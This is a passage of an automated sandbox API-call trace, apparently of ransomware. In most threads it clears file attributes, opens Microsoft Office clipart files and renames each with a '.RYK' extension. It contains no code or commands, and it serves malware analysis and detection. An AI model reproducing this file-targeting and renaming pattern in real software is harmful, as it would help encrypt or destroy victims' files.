	[0191.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1138
	os_tid = 0x17e4

	[0191.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", dwFileAttributes=0x80) returned 0
	[0191.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1139
	os_tid = 0x17e8

	[0191.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", dwFileAttributes=0x80) returned 0
	[0191.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.408] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1140
	os_tid = 0x17ec

	[0191.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", dwFileAttributes=0x80) returned 0
	[0191.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1141
	os_tid = 0x17f0

	[0191.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", dwFileAttributes=0x80) returned 0
	[0191.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1142
	os_tid = 0x17f4

	[0191.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF", dwFileAttributes=0x80) returned 0
	[0191.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1143
	os_tid = 0x17f8

	[0191.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF", dwFileAttributes=0x80) returned 0
	[0191.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1159
	os_tid = 0x724

	[0191.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF", dwFileAttributes=0x80) returned 0
	[0191.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1160
	os_tid = 0x668

	[0191.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF", dwFileAttributes=0x80) returned 0
	[0191.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1161
	os_tid = 0x1580

	[0191.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF", dwFileAttributes=0x80) returned 0
	[0191.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1162
	os_tid = 0x720

	[0191.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF", dwFileAttributes=0x80) returned 0
	[0191.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1163
	os_tid = 0x1588

	[0191.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF", dwFileAttributes=0x80) returned 0
	[0191.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.670] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1164
	os_tid = 0x1560

	[0191.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF", dwFileAttributes=0x80) returned 0
	[0191.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1165
	os_tid = 0x1584

	[0191.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF", dwFileAttributes=0x80) returned 0
	[0191.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.676] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1166
	os_tid = 0x14ac

	[0191.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF", dwFileAttributes=0x80) returned 0
	[0191.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1167
	os_tid = 0x7e0

	[0191.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF", dwFileAttributes=0x80) returned 0
	[0191.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1168
	os_tid = 0x14a8

	[0191.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF", dwFileAttributes=0x80) returned 0
	[0191.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1182
	os_tid = 0x1814

	[0191.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF", dwFileAttributes=0x80) returned 0
	[0191.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1183
	os_tid = 0x1818

	[0191.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF", dwFileAttributes=0x80) returned 0
	[0191.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.895] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1184
	os_tid = 0x181c

	[0191.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF", dwFileAttributes=0x80) returned 0
	[0191.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.897] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1185
	os_tid = 0x1820

	[0191.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF", dwFileAttributes=0x80) returned 0
	[0191.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0191.900] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0191.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1186
	os_tid = 0x1824

	[0192.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF", dwFileAttributes=0x80) returned 0
	[0192.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.013] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1187
	os_tid = 0x1828

	[0192.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", dwFileAttributes=0x80) returned 0
	[0192.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.018] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1188
	os_tid = 0x182c

	[0192.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", dwFileAttributes=0x80) returned 0
	[0192.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1189
	os_tid = 0x1830

	[0192.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", dwFileAttributes=0x80) returned 0
	[0192.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.233] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1190
	os_tid = 0x1834

	[0192.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", dwFileAttributes=0x80) returned 0
	[0192.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1191
	os_tid = 0x1838

	[0192.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", dwFileAttributes=0x80) returned 0
